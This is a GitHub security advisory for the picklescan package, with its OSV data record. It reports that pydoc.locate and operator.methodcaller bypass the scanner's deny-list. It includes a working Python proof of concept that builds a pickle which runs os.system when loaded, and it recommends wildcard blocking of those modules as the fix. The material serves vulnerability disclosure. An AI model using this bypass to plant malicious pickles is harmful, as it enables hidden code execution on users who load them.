ghsa-84r2-jw7c-4r5q
Vulnerability from github
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
```python import pickle import pydoc import operator import os
class ModuleLocator: def init(self, module_name): self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload: def reduce(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit(): payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if name == "main": generate_exploit() ```
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
python
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T15:24:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n def __init__(self, module_name):\n self.module_name = module_name\n \n def __reduce__(self):\n return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n def __reduce__(self):\n \n cmd = \"notepad\" #put your payload here\n \n mc = operator.methodcaller(\"system\", cmd)\n return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n payload = RCEPayload()\n \n try:\n with open(\"bypass.pkl\", \"wb\") as f:\n f.write(pickle.dumps(payload))\n print(\"File \u0027bypass.pkl\u0027 created.\")\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\u003cimg width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" /\u003e\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
"id": "GHSA-84r2-jw7c-4r5q",
"modified": "2025-12-29T15:24:20Z",
"published": "2025-12-29T15:24:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan has Incomplete List of Disallowed Inputs"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.